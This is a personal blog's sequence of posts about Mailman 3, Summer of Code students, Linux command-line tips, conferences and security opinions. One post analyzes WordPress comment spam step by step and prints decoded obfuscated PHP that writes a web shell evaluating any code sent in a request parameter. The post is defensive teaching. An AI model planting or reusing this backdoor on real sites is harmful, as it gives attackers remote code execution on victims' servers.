terriko: (Default)
2014-04-26 11:33 am
Entry tags:

Mailman 3.0 Suite Beta!

I'm happy to say that...

Mailman logo

Mailman 3.0 suite is now in beta!

As many of you know, Mailman's been my open source project of choice for a good many years. It's the most popular open source mailing list manager with millions of users worldwide, and it's been quietly undergoing a complete re-write and re-working for version 3.0 over the past few years. I'm super excited to have it at the point where more people can really start trying it out. We've divided it into several pieces: the core, which sends the mails, the web interface that handles web-based subscriptions and settings, and the new web archiver, plus there's a set of scripts to bundle them all together. (Announcement post with all the links.)

While I've done more work on the web interface and a little on the core, I'm most excited for the world to see the archiver, which is a really huge and beautiful change from the older pipermail. The new archiver is called Hyperkitty, and it's a huge change for Mailman.

You can take a look at hyperkitty live on the fedora mailing list archives if you're curious! I'll bet it'll make you want your other open source lists to convert to Mailman 3 sooner rather than later. Plus, on top of being already cool, it's much easier to work with and extend than the old pipermail, so if you've always wanted to view your lists in some new and cool way, you can dust off your django skills and join the team!

Hyperkitty logo

Do remember that the suite is in beta, so there's still some bugs to fix and probably a few features to add, but we do know that people are running Mailman 3 live on some lists, so it's reasonably safe to use if you want to try it out on some smaller lists. In theory, it can co-exist with Mailman 2, but I admit I haven't tried that out yet. I will be trying it, though: I'm hoping to switch some of my own lists over soon, but probably not for a couple of weeks due to other life commitments.

So yeah, that's what I did at the PyCon sprints this year. Pretty cool, eh?
terriko: (Default)
2013-10-17 05:23 pm

I'm joining Intel's Open Source Technology Center!

I'm pleased to announce that I will be joining Intel's Open Source Technology Center (OTC), starting October 21st.

This is a big transition for me: not only have I physically moved to the Portland area from Albuquerque, but I'm also moving from academia to industry. However, I'm not moving away from either security or research: my official job title is "Security Researcher - Software Security Engineer."

There are lots of crazy smart people at Intel, especially at OTC, and I'm really excited (and a little scared!) about joining their ranks. This is exactly the job I wanted: I'll be doing security in an open source context (not only behind closed doors!), working with interesting people on interesting projects, and I'll be positioned such that my work can have an impact on the state of computer security in a global sense. It sounds like I'll be working primarily on web and Android security, which is challenging, fascinating, intimidating, and highly important. Wish me luck!
terriko: (Default)
2013-08-15 01:41 pm

Interview with me up on FastCoLabs

Today is a good day: I get to be famous for being snarky!

There's a short interview with me up on FastCoLabs today, regarding my (in)famous slideshare presentation about women, biology, and computer science.

She did a nice job of trimming down my original answers, but I am sad that she missed the part where I said I didn't answer the question about what does cause the disparity in my slideshare presentation because half the point of the presentation was to get people to think rather than mindlessly accept shortened arguments with good face validity. (The corollary being that there's a meta-joke in the presentation because it is a shortened argument with good face validity.)

I edited out some of the other snarky things I said before I sent 'em. It's probably just as well. ;)

Anyhow, in case anyone reading this hasn't seen the original presentation before, I'll just embed it here:

In case the embed doesn't show up for you, here's a link: How does biology explain the low numbers of women in computer science? Hint: it doesn't.

terriko: (Default)
2013-07-14 12:42 pm
Entry tags:

Mailman Virtual Hackathon

We're having a mailman virtual hackathon right now on #mailman on freenode. The plan is to run 'till around 2300 UTC today, so another 4h or so. Link for figuring out what that means in your time zone.

We're doing a variety of things: bug triage and fixing, discussion of architecture, new feature development, helping each other with any blocking problems, spouting off crazy new ideas, code review and merging, etc. We're especially hoping to make sure we clear any issues we can relating to GSoC projects, but there's plenty of work to go around. New folk are welcome too.

If you don't read this 'till after the fact, don't despair! There will likely be another such hackathon next Sunday, July 21. Keep an eye on the mailman-developers list for more details.
terriko: (Default)
2013-07-10 12:01 pm
Entry tags:

My oversensitive touchpad

This is more a note to self than anything else, but who knows, maybe someone reading is having exactly the same problem as me?

The "new" laptop has an overly sensitive touchpad, in that it seemed to be clicking at times when I didn't want it to click. While quite a few people handle this by disabling the touchpad or disabling tap-to-click, I knew from experience with my last linux laptop that this is a solvable problem under linux at least.

There's a *lot* of ways to control mouse settings, but here's the one that worked for me. In short:

xinput list
to find my touchpad device, which turned out to be id=12

xinput list-props 12 |grep -i finger
to give me a list of relevant entries

xinput set-prop 12 "Synaptics Finger" 25, 32, 256

to set it to something that seems better behaved.
According to the link above: "By increasing the second parameter, you require more finger pressure for the trackpad to respond. The first parameter controls release pressure, the third is to detect a button press (I think)."

and that seemed to match up. In my case, I needed to up the second number. While I was in there, I tweaked the two-finger settings so it'd be easier to "right click" with two fingers.

Lest it's useful to me later, here's my current settings:
terri@djpwn3:~$ xinput list-props 12 |grep -i finger
Synaptics Finger (261): 25, 32, 256
Synaptics Two-Finger Pressure (268): 256
Synaptics Two-Finger Width (269): 1
Synaptics Two-Finger Scrolling (272): 1, 1
terriko: (Default)
2013-07-10 12:20 am
Entry tags:

Google Hangouts/XMPP Server does not use any supported authentication method

With all the noise about google switching away from XMPP, I was pretty concerned when Pidgin stopped connecting to Google Hangouts (aka gtalk or xmpp) with the following error:

"Server does not use any supported authentication method"

I wasted some time updating things hoping that would solve it before I finally figured out my problem: It wsn't google changing things at all; it was me. I'd changed the hostname of my (relatively new) laptop. But what I hadn't done was put the new hostname into /etc/hosts under A quick edit later, and the newly christened laptop is back on the air.

I found the solution here, but I had to dig for it a bit so I'm puting up this post that shortcuts to the answer without the debugging, just in case anyone else runs into this one and needs help.
terriko: (Default)
2013-06-09 10:07 pm
Entry tags:

Python student blogs

One of the things that Python asks of all students under our "umbrella" is that they blog regularly about their projects. This helps me keep track of how all the students are doing, and helps advertise the interesting work they'll be doing to a larger community. I've set up a blog aggregator here for Python's Summer of Code Updates and you can see that folk are already talking about their projects as they settle in.

Coding starts June 17th. Here's to a great summer!
terriko: (Pi)
2013-06-09 06:18 pm
Entry tags:

Welcome Summer of Code 2013 students!

The Python Software Foundation has 36 Google Summer of Code students starting next week!

If you'd like to learn more about any of the student projects as they were proposed, you can also see the list and descriptions on the GSoC Website. But here's a list, grouped by project:

Core Python
Phil Webster, IDLE Improvements
Jayakrishnan Rajagopalasarma, IDLE Improvements

Ksenija Bestuzheva, ASCEND: dynamic modelling improvements
Pallav Tinna, Porting to gtk3 and GUI improvements

Madhura Parikh, Astropy: Develop the Astroquery toolkit into a coherent package
Axel Donath, AstroPy: Extending the functionality of the photutils package.

GNU Mailman
Manish Gill, Mailman: Authenticated REST-API in Postorius/Django.
Abhilash Raj, GNU Mailman - Integration of OpenPGP

Abhinav, Kivy: Kivy Designer
Ivan Pusic, PyOBJus

Mainak Jas, Real-time Machine Learning for MEG in MNE-Python
Roman Goj, MNE-Python: Implement time-frequency beamformers

David Lu, Data Driven Mentorship App
Tarashish Mishra, OpenHatch: Rewrite training missions using oppia (Training missions, version 2)

Tarun Gaba, PyDy: Visualization of the simulated motion of multibody systems
Tyler Wade, wxPython Bindings for PyPy using CFFI

Manuel Jacob, Implementing Python 3.3 features for PyPy

Andraž Brodnik, Better Debug tools
Domen Kožar, Substance D improvements

Juhani Åhman, PySoy: Improve Android and HTML5 Soy clients

Chintak Sheth, scikit-image: Image Inpainting for Restoration
Marc de Klerk, scikit-image: Segmentation Algorithms as a basis for an OpenCL feasible study
Ankit Agrawal, scikit-image : Implementation of STAR and Binary Feature Detectors and Descriptors

Kemal Eren, scikit-learn: Biclustering algorithms, scoring, and data generation
Nicolas Trésegnie, Scikit-learn : online low rank matrix completion

Surya Kasturi, SciPy: Improving functionality and Maintainability of SciPy Central
Arink Verma, SciPy/NumPy : Performance parity between numpy arrays and Python scalars
Blake Griffith, Improvements to the sparse package of Scipy: support for bool dtype and better interaction with NumPy

Ankit Mahato, SfePy: Enhancing the solver to simulate solid-liquid phase change phenomenon in convective-diffusive situations

Ana Martínez Pardo, Statsmodels: Discrete choice models
Chad Fulton, Statsmodels: Time Series Analysis Extensions (esp. regime-switching models)

Michael J. Malocha, SunPy - Interfacing with Heliocphysics Databases
Simon Liedtke, SunPy: Database of local data

Mark Berger, Upload Strategy of Happiness in Tahoe-LAFS

Shiyao Ma,Twisted: Switching to Formal Parsers
Kai Zhang,Twisted: Deferred Cancellation

We had a great number of talented applicants and I only wish we'd been able to take more of them. Congratulations to those accepted and to the rest of you, I hope you'll apply again next year!
terriko: (Default)
2013-05-06 01:57 pm

Falling down the rabbit hole: An analysis of some questionable blog spam

WARNING: This entry contains some actual malicious code. I've HTML-escaped it so that it isn't going to get executed by you viewing it, but it was clearly intended to attack Wordpress blogs, so if you're going to mess around with analyzing, do it in a browser that's not logged in to any Wordpress blog.

So I was clearing spam queues this morning, and came across a bunch of spam with this string in it:


Or this clearly related one (note that the top of the string is the same):


As you can tell from the first sample, it's base64 encoded... something. b64 is pretty commonly used by attackers to obfuscate their code, so in case the spammy username and comment that went with the code wasn't enough to tell me that something bad was intended, the b64 encoding itself would have been a clue. If I didn't have the pretty huge hint of the base64_decode line, I might have been able to figure it out from the format and the fact that I know that b64 uses = as a padding (visible at the end of the second string).

Being a curious sort of person, I decoded the first string. In my case, I just opened up Python, and did this:

>>> import base64
>>> base64.b64decode(badstring1)
"if($f=fopen('wp-content/cache/ifooag.php','w')){fputs($f,'<?php /*N%P`%*/eval/*If\\',-*/(/*>6`He*/base64_decode/*@M)2*/(/*~:H5*/\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'/*OzM520*/./*9J+,*/\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'/*yAt&*/./*@5Dw&]N*/\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'/*Yabk*/./*O~qs*/\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'/*{YJ}1*/./*v+(-;k*/\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'/*(kCp@Y>*/)/*`bc*//*Hv^!*/)/*WmF*//*P_We``>{*/;/*-|lTE1*/?>');fclose($f);}"

(Well, okay, I actually ran cgi.escape(base64.b64decode(badstring1)) to get the version you're seeing in this blog post since I wanted to make sure none of that was executed in your browser, but that's not relevant to the code analysis, just useful if you're talking about code on the internet)

So that still looks pretty obfuscated, and even more full of base64 (yo, I heard you like base64 so I put some base64 in your base64). But we've learned a new thing: the code is trying to open up a file in the wordpress cache called ifooag.php, under wp-content which is a directory wordpress needs to have write access to. I did a quick web search, and found a bunch of spam, so my bet is that they're opening a new file rather than modifying an existing one. And we can tell that they're trying to put some php into that file because of the <?php and ?> which are character sequences that tell the server to run some php code.

But that code? Still looks pretty much like gobbledegook.

If you know a bit about php, you'll know that it accepts c-style comments delineated by /* and */, so we can remove those from the php code to get something a bit easier to parse:


Feel like we're going in circles? Yup, that's another base64 encoded string. So let's take out the quotes and the concatenations to see what that is:


You might think we're getting close now, but here's what you get out of decoding that:

>>> base64.b64decode(badstring1a)
"/*wc`;p*/if/*w!n[*/(/*^s[!TrpQ*/isset/*PH49|@*/(/*x`jV)N*/$_REQUEST/*r x*/[/*(~Qq*/'c'/*1?@et[*/./*=,)*/'z'/*uTA93*/./*C{G:@4\\*/'l'/*8t o*/./*myM=<D`*/'z'/*xgg1v61*/./*VpIg4*/'y'/*e|jyA*/./*,v(*/'l'/*F-QoL4*/]/*bakM)*//*\\;sn*/)/*NwKI'_*//*O_k*/)/*H@aK4T*/eval/*2N|20>*/(/*UsHmY]eZ*/stripslashes/*<Hg3*/(/*UAKaf*/$_REQUEST/*V.KT {*/[/*K-.c*/'c'/*Hoh*/./*XN;G*/'z'/*;&3(21d&]*/./*;POu*/'l'/*YYP3zu*/./*UliU-*/'zyl'/*FTY\\4*/]/*N?Rb>+f*//*K+KC*/)/*l@j*//*bX<*/)/*:Z6UE(JB8*//*BWg;@K*/;/*E;+v'I*/"

Yup, definitely going in circles. But at least we know what to do: get rid of the comments again.

Incidentally, I'm just using a simple regular expression to do this: s/\/\*[^*]*\*\///g. That's not robust against all possible nestings or whatnot, but it's good enough for simple analysis. I actually execute it in vim as :%s/\/\*[^*]*\*\///gc and then check each piece as I'm removing it.

Here's what it looks like without the comments:


So let's stick together those concatenated strings again:


Okay, so now it's added some piece into some sort of wordpress file that is basically just waiting for some outside entity to provide code which will then be executed. That's actually pretty interesting: it's not fully executing the malicious payload now; it's waiting for an outside request. Is this to foil scanners that are wise to the type of things spammers add to blogs, or is this in preparation for a big attack that could be launched all at once once the machines are prepared?

It's going to go to be a request that starts like this http://EXAMPLE.COM/wp-content/cache/ifooag.php?czlzyl=

Unfortunately, I don't have access to the logs for the particular site I saw this on, so my analysis stops here and I can't tell you exactly what it was going to try to execute, but I think it's pretty safe to say that it wouldn't have been good. I can tell you that there is no such file on the server in question and, indeed, the code doesn't seem to have been executed since it got caught in the spam queue and discarded by me.

But if you've ever had a site compromised and wondered how it might have been done, now you know a whole lot more about the way it could have happened. All I can really suggest is that spam blocking is important (these comments were caught by akismet) and that if you can turn off javascript while you're moderating comments, that might be the safest possible thing to do even though it makes using wordpress a little more kludgy and annoying. Thankfully it doesn't render it unusable!

Meanwhile, want to try your own hand at analyzing code? I only went through the full decoding for the first of the two strings I gave at the top of this post, but I imagine the second one is very similar to the first, so I leave it as an exercise to the reader. Happy hacking!
terriko: (Pi)
2013-05-06 11:35 am

Remove 80% of your blog comment spam by blocking IPTelligent!

I maintain a couple of blogs outside of this one, and the most popular one I'm involved with gets a lot of spam. There seemed to be a particular uptick about a month back, and I went to look into it.

What I discovered is that quite a lot of our spam (around 80%) was coming from one company called IPTelligent LLC. There's no easy way for me to tell if they are a legit company who simply have the worst IT staff in the history of IT staffs and all of their machines are compromised, or if they are, in fact, evil jerks who are repeatedly attempting to pollute the internet with really terrible spam. Given a short websearch, it seems pretty likely that IPTelligent is intentionally evil. I suppose one could argue that the level of incompetence displayed by someone who not only runs that many compromised machines but also serves up malware consistently is a form of evil even if it wasn't intentional. Whatever.

Either way, they are responsible for a rather large percentage of the spam we were receiving, and not responsible for any legit visits that we could see.

Since this particular blog uses Wordpress, solving the problem was pretty simple. Wordpress has built in lists for blocking comments, but they simply send to the moderation queue, as does popular plugin Akismet. Since we were seeing hundreds of messages per day from IPTelligent, I needed something that banned them more completely so our moderators wouldn't even see the messages and have to scan through them. Thankfully, there are lots of plugins for this. I settled on one called wp-ban that seems to be working well for my needs.

Once that's installed, the settings are under Settings->Ban. At the top of my list, I now have

# IPTelligent owns these ips, and they seem to be a spam company

Which covers the majority of the IP that were hitting us with spam. A glance at a more specific list of IPTelligent IPs suggests that those lines are good enough right now, although it's possible that they'll buy more IP blocks eventually. (We also have a longer list of other ips that appear to be compromised and were causing problems, but they look more like temporary compromises than intentional, long-term malice so I'm not listing those IPs here).

Of course, it would be better if someone took the company to court for this. I am not a lawyer, but it seems to me that the Computer Fraud and Abuse Act must cover at least some portion of their activities. I mean, the things they charged Aaron Swartz with under that act seem less sketchy than what IPTelligent is doing. But court cases take time and money, and banning them right now is pretty easy, so I figured I'd share the short-term solution in case it's useful to anyone who'd like to get a little less spam right away. (We are indeed getting ~80% less spam since the bans went into place.)

For the record, here's the company info as I get from the whois database right now:

OrgName:        IPTelligent LLC
OrgId:          IPTEL-1
Address:        2115 NW 22nd Street
Address:        #C110
City:           Miami
StateProv:      FL
PostalCode:     33142
Country:        US
RegDate:        2009-03-31
Updated:        2012-07-16
Ref:            http://whois.arin.net/rest/org/IPTEL-1

ReferralServer: rwhois://rwhois.iptelligent.com:4321

OrgNOCHandle: NOC3572-ARIN
OrgNOCName:   Network Operations Center
OrgNOCPhone:  +1-888-638-5893
OrgNOCEmail:  sysop@iptelligent.com
OrgNOCRef:    http://whois.arin.net/rest/poc/NOC3572-ARIN
terriko: (Pi)
2013-04-25 05:07 pm
Entry tags:

Two interview questions I enjoyed

There's a longer, friends-locked post before this one talking about the interviews I had this week, but it occurs to me that the more general public might get a kick out of the two interview questions that most amused me:

My new favourite interview question:

Given this code...

if ( X ) 

What do you need to insert in place of X in order to get this code to print "helloworld" ?

And the second one:

If you're in a room with a light bulb that's on, how can you make it be off?

(This was asked shortly after they told me they were asking to see if I had the security mindset, which is a pretty huge clue as to the types of answers they were hoping to hear. I had a lot of fun with this.)

I am leaving my answers out of this post so that you can think about the possibilities yourselves, but of course feel free to discuss in the comments.
terriko: (Pi)
2013-04-21 06:04 pm
Entry tags:

Finding the best thing (without reading all the reviews)

I know geeks are stereotypically supposed to love drooling over new technology and comparing specs and stuff, but that's never really been my scene. There are things I care about enough to do research on, things I have particular requirements for that I want to meet, and then there's everything else. I don't want to buy/download/use crap, and I don't want to read breathless review after breathless review.

So I was really excited to hear about The Wirecutter, which purports to just list off the best thing (with a few alternatives) in various classes of things.

It's interesting, too, that it's got stuff like the big wait sign on this page right now which tells you that new stuff is coming so if you're not desperate, you might as well wait 'till they've been able to review the new things. Makes me feel a lot more reassured about the freshness of their information.

Used it for the first time yesterday to replace my defective point-and-shoot camera (which is a longer story, but one I'm not telling today) and it was fantastic to spend so little time making a decision. We'll see how it works out long run, but it's already saved me hours of my life and I came away feeling pretty close to as informed as I do after reading All The Reviews. Win!
terriko: (Default)
2013-03-25 11:31 pm
Entry tags:

Back from Pycon!

I should write up a proper trip report with pictures and stuff, but as it's nearly midnight and I don't want my sleeping patterns to stay on California time, you get some short highlights:

1. The conference itself was awesome. Recall: I attended the sprints last year but not the main conference, so while I had high hopes I didn't know that the content would be so good. I attended a lot of great talks and no doubt missed quite a few as well. I'll be making heavy use of the conference recordings over the next little while, I expect.

2. I am really excited about my free raspberry pi. While I know lots of folk who frequently get given cool toys and told to go hack them, this is the first time someone has gifted me with such an item/mission, and it feels great. I haven't figured out what I'm going to do yet, but there was this great talk about hooking one up to a $300 CNC machine, and another great one about home automation that could be useful...

3. The sprints were super-productive! You can see our todo/completed/waiting list here if you want the nitty gritty. I'd been joking earlier to anyone who asked that we were totally going to release by Friday, and while we didn't do that, we *are* very close and you should all expect a beta release of postorius + Mailman 3 very soon. I can't wait to show it off!

4. Perhaps later I'll do up the stats on exactly what I was doing to our repository, but I should tell you that not only did I make plenty of my own code commits, but I also got to merge code from new contributors. This was totally my favourite part, seeing new folk get their code accepted and in the main tree. And it wasn't just the people who were physically at the sprints with us: I also merged code from people contributing remotely, most of whom are prospective GSoC students. Way to impress me, students!

5. I got to talk to a bunch of people about GSoC. I do this all the time by email, but it was especially fun to talk to folk in person about what's involved, why it's awesome, how to be good at it, and why they should sign up.

6. And post-con, I got a few days to catch up with friends in the area and visit the Japanese Tea Gardens in Golden Gate Park, which I've wanted to do ever since I read Seanan Mcguire's October Daye books. As I processed a few photos for this week's assignment, you get one here:

1/400s of meditation in a tea garden

And with that, midnight has rung and it's bedtime. I have a long week of catch-up ahead of me at work, but expect some more pycon / mailman / gsoc posts out of me over the next little while as I internalize all the things I've been thinking about this past week.
terriko: I am a serious academic (Twlight Sparkle looking confused) (Serious Academic)
2012-12-14 11:47 am
Entry tags:

Kindle Fire, take 3

You may recall that my Kindle Fire decided to stop charging right before I went off on my vacation at the beginning of December, and I had a somewhat terrible experience with Amazon's online customer service but they did in the end replace it under warranty.

I've had the replacement for two weeks, and it was acting a bit weird, rebooting while I was doing things like reading pdfs. So last night, I looked up whether this was a common problem and the suggestion seemed to be to hard reboot it, so I did.

The kindle has been stuck at the kindle fire reboot screen for about 12 hours now.

Since the online chat support was awful last time, I called Amazon this time and the phone support lady was very nice, efficient and was very apologetic about not being able to get me a new device until Jan 4th. But the replacement is in the works, I just won't get it 'till after I get back from Ottawa.

Meanwhile, dead kindle #2 won't boot up and also won't shut down, so I may be sticking a running device in the mail, which feels kind of weird. Not much for it, though, since the thing is utterly unresponsive. Maybe it'll run out of battery before I get out to mail it this afternoon.
terriko: I am a serious academic (Twlight Sparkle looking confused) (Serious Academic)
2012-11-28 03:45 pm
Entry tags:

RFC Poetry

A friend of mine wrote a twitter bot that spits out random bits of RFCs, somewhat inspired by horse_ebooks, and I suggested it would be nice if it wrote haiku, so now it does. It's not very good at it, but I found this almost poem in the feed:

Townson makes it has
the switch functions
02 Elgamal public key

And now I really want to write a haiku including the words "elgamal public key" -- pity "exchange" doesn't fit that into a 7-syllable line.

Some of the more intentional poetry it's written:

to authenticate the
already done our paper we have
home address found

It's almost poignant. Or Yoda crossed with Glinda the good witch, whatever.
terriko: (Pi)
2012-10-16 02:29 pm
Entry tags:

Moving files you found with grep (and the joy of for loops in bash)

Back in one of my early, unpaid co-op jobs, I discovered that my otherwise reasonably experienced boss hadn't ever used tab completion, and it got me thinking a lot about how I learned a lot of command line habits through a combination of word of mouth and a personal conviction that the computer should be able to do anything I found repetitive (alas, I have not taught it to load the dishwasher). But the real take-home message is that there's a lot of little linux tricks that aren't really obvious to everyone. So in that spirit, here's an incredibly tiny script I wrote today that might be useful to someone else:

Moving files found with grep

I had a bunch of output files from my experiments, and I wanted to know at a glance which ones had failed, and then move those files to a subdirectory, leaving me with a smaller list of successes to evaluate in more detail.

Here's the script as a one-liner, the way I'd enter it:
for a in `grep -l -z "No repair found" repair.debug.*` ; do echo $a; mv $a notfound/; done

And here's some explanation:

grep -l "No repair found" repair.debug.*

My particular experiment prints a line "No repair found" when the run fails, so that's what I'm searching for in the output files it generates (repair.debug.*). The -l makes grep print just the filenames so I don't have to do any special work to parse them from the output. (You can also use the longer but easier-to-read --files-with-matches. I'm guessing -l was intended as "l for list" but I don't know.)

When I was googling for the -l flag, I did find some people with fancy xarg stuff you could do here, but seriously, if all you need is the filename save yourself some hassle. If your filenames have spaces in them, you may find it useful to do that and some fanciness with -z to change the delimiters to be \0s, but I didn't need to do that.

for a in ` ... `; do ... ; done

This is my favourite little bash for loop with the functional bits cut out. It iterates over whatever you gave it in ` ... ` putting each item in $a as it goes through. In this case, each $a is one of the found filenames. You can do away with the backticks all together if you just want a list of filenames that you could get from ls, though. If I'd wanted to move all my repair.debug.* output files, I could have done for a in repair.debug.*; do mv $a output/; done -- no backticks! I do this all the time for moving files out of my way before I start a new experiment, using directories with the date to keep track of what ran when.

Another useful command to put in there other than a grep is `seq 10` which will give you a standard counted for loop that goes up to 10. Very useful when I want my computer run an experiment 10 times while I go to lunch!

echo $a
I almost always run a version of the loop with *just* "echo $a" in the middle before I make one that does anything, just as a sanity check to make sure I got the expression right and I am actually doing stuff to the right files. I usually leave it in the final version so I can scan the output easily and see what was done. Sometimes I actually output the whole command as an echo for debug purposes

mv $a notfound/

The easy part: moving each file that matched into my notfound/ directory.

And... there you have it! A quick way to move a set of files out of your way and a little bit about how to automate other repetitive tasks on the command line. Probably obvious to many, but who knows, maybe this is exactly the script that someone else needs.
terriko: Adorable icon care of John (bubble bobble)
2012-09-05 12:32 pm
Entry tags:

Back from PAX!

It was, as always, fun and exhausting. I don't know how people do fan con stuff more than once a year.

I think the most unusual game I played was the board game "Oh my god, there's an axe in my head!" wherein you are at the first league of nations meeting and the entertainment, the Swiss axe throwing team, has gone bezerk and you must trade territories and make treaties while fleeing for your life.

The best panel I went to was the geek crafting one, and not only because it was almost the only panel I went to. Love seeing other people's crafts, and I think VandalEyes kind of stole the show as low-effort high-hilarity art.

For the first time I actually sat down and did some tabletop roleplaying at PAX and it was pretty cool, but we didn't really have time to get deep into the game 'cause we'd made dinner plans already. Still, the system was one I'd never heard of before, based largely on relationships between characters in a post-apocalyptic setting, and it had a lot of potential. Most ridiculous moment: one of the characters was a "faceless" who wore a gas mask at all times. This led to a pretty hilarious moment where one of the other players made a crack about how he couldn't use facebook... because he didn't have a face. Queue groans and game master banging his head lightly on the table. That's how you know you've got a good synergy going in the players. ;)

Our costumes went over well. People figured out the lemmings thing pretty quickly and we got some laughs. I have no idea if people figured out the Leah & Magda Diablo III cosplay, but we certainly got stopped for lots of photos so obviously we looked interesting. I'm contemplating having a photo shoot on my own for the Leah costume before my hair grows back out completely or I get it cut professionally prior to GHC, but my friends do have some pictures of us actually at PAX so I'll put those up when I have them. I am sad that Susan and I can't do a photo shoot together easily.

As usual, I found PAX surprisingly pleasant for such a huge crowded venue. I really appreciate how so many folk ask before taking photos of me when I'm in costume. I mean, I wouldn't be wearing this getup if I weren't willing to pose, but it's still nice that the standard is "can I get a photo?" and not "pose for me!" We had an interesting conversation about how PAX has been for us safer than, say, going to university classes or (in my case) walking to the library. I am incredibly sorry to hear that this enhanced safety wasn't the case for everyone at PAX prime this year. (I fear the responses to that as usual, but so far the condemnation seems pretty sincere.)

Coming home sucked. I mean, the flights were fine, but it's a billion degrees here and it sucks to contrast the relative safety of downtown Seattle during PAX to feeling like I have to dress down if I want to walk to the library here without being hassled. After the excessive heat woke me up in the middle of the night, I started reading twitter and this post about being harassed frequently on public transit really hit home for me. Did you know that I rarely leave the house without earphones in (although sometimes they're not on or only one is in, for safety), just so I have a visible reason to ignore the multitude of men who feel a need to "hey pretty lady" me even if I'm showing all the signs that I'm not in the mood to chat? It's hard, 'cause so many people here are just southwest friendly and chatting with them would be fun, but you never know when you're going to get someone who's got serious problems.

So yeah, I miss PAX and its friendly strangers who want to talk about games and not about how pretty I am (or am not) already, and I haven't even been outside.

PAX Prime is definitely superior to PAX East as far as venue goes. More sound baffling, closer hotels, more food options within easy walking distance, more carpet, better trained staff, etc. I also find the prime exhibitors tend towards "We want to show you our awesome game!" and less "We want to sell you stuff!" even though I got less swag this year in general (That's not really a huge problem as there's only so much cheap con stuff I really need, though I was disappointed to see so few buttons. I like buttons and do actually wear ones I get if I like where they came from.)

I was a bit disappointed that my favourite triple-A RPG devs weren't really there: bioware had a little session room and I enjoyed their talk on voice acting, but no big booth. Blizzard I didn't see at all (especially disappointing given our diablo III costumes -- would have been nice to show off!), and I saw no opportunity to try Guild Wars 2 out on the con floor (I'll probably buy it eventually, but I would have liked a demo). I guess I could have tried the wizards of the coast offerings, but the lines were huge and to be honest after our somewhat mediocre DDO experience I just wasn't that interested. We did try their new minis game which was pretty much everything I don't like about mini and card games stuffed into one over-ruled package, so that didn't help. At least I got to try Torchlight II, which is on my to-buy list when it comes out (even though, I admit, I'm less excited about it now that I have diablo III to fill that niche). Still, it's $20 and multiplayer and I had fun with the demo and chatting briefly with the dev folk who were there working the line. Plus, my engineer had a ferret pet and robots, so she was pretty cool.

I did get to try lots of indie puzzle games, so that was cool 'specially since I was hanging out with M most often and that's her favourite genre. And I have to say, the art assets for even little indie games are getting more and more impressive. I highly enjoyed the dinosaur tower defense game even though it wasn't that novel just 'cause of the ridiculous dinos. :) [Edit: the beta is free on the Chrome web store!] And the Go-like zombie containment game was clever (and seriously, $3. I bought it on the spot.) And I'm looking forwards to using my coupon to buy Splice which had you splicing molecule-like structures to fit the given pattern.

I didn't spend time watching the League of Legends tourney, but I think this code they gave me will give me a new character to learn and that's kind of fun. I don't feel like I'm willing to invest the kind of time I need into LoL to be really good at everything, but when it cools down maybe I can get up to the level where I'm at least not embarrassing my friends if I stick to a small subset of characters, so having a new one is exciting!

I didn't really try many new DS games since I don't have a 3DS yet, but I was reminded why I like the DS so much when all my other devices were running out of power and I could still play pokemon. I guess I'll keep an eye out for good black friday through Christmas sales on the 3ds. It seems weird to invest in the platform given how much easier it is to get cheap games for my tablet, but it seems like there's still enough available to make me happy and at least I can trade some games with my sister. Plus, the DS doesn't overheat me like my other devices, and that's worth a fair bit in this city!

Anyhow... I'm taking today off as self-quarantine after being exposed to so many people, but I *do* need to get some cleaning done (I left the house in quite the state after last minute costume work; normally I try to clean before I leave so I don't come home and think my house sucks. Oops.) so that's enough rambling about PAX until I develop the few pictures I took or get pictures of us in costume from other people!
terriko: (Default)
2012-07-12 02:46 pm

Web Insecurity: Should you really change your re-used passwords after a breach? Maybe not.

Cross-posted from my security blog, Web Insecurity.

Should you really change your re-used passwords after a breach? Maybe not.

DiceThe news is reporting that 453,000 credentials were allegedly taken from Yahoo, and current reports say that it's probably Yahoo Voice that was compromised. If you want to know if yours is in there, it seems like the hacker website is overwhelmed at the moment, but you can search for your username/email here on a sanitized list that doesn't include the passwords.

Probably unsurprisingly, the next bit of news is that people haven't changed their hacked passwords from previous breaches. To whit, 59% of people were re-using the passwords that had previously been hacked and released to the public in the Sony breach. Which seems a bit high given the publicity, but I'm not as surprised as I maybe should be.

What I'd really like to know is how many of those people actually suffered from this password re-use. Did anyone bother to try re-using their credentials?

I'm reminded of one of my favourite security papers, "So Long, and No Thanks for the Externalities: the Rational Rejection of Security Advice by Users," by Cormac Herley. In it, he claims that many security "best" practices like changing passwords frequently are actually a waste of time for the average user, when you take into account the risks involved.

So, is changing a password after a breach one of those things that we can skip without much incident? Sadly, I don't have any definitive way to analyze how many folk were inconvenienced by their password reuse in the Sony and subsequent Yahoo breaches, but I can make a guess: If those accounts were compromised on Yahoo after the Sony breach, we'd be seeing a lot more people changing their passwords between the two. So probably at least those 59% were not inconvenienced enough to change their passwords subsequent to the breach.  That's a lot of people.

Of course, it's possible that the accounts were breached and used in a way that the owner never noticed. But if they're not noticing, are they really being inconvenienced? Probably in a global sense (i.e. spam) but maybe not in a short-term decision-making sense. Of course, we could assume that the alleged hack is a hoax using many of the previously hacked passwords from Sony, but given how easy it is to compromise web apps I'm currently assuming that the hack itself is a real thing.  In which case, that's a lot of no-change. It looks suspiciously like you're likely to be more inconvenienced taking the time to change your password than you would if you did nothing, statistically speaking.

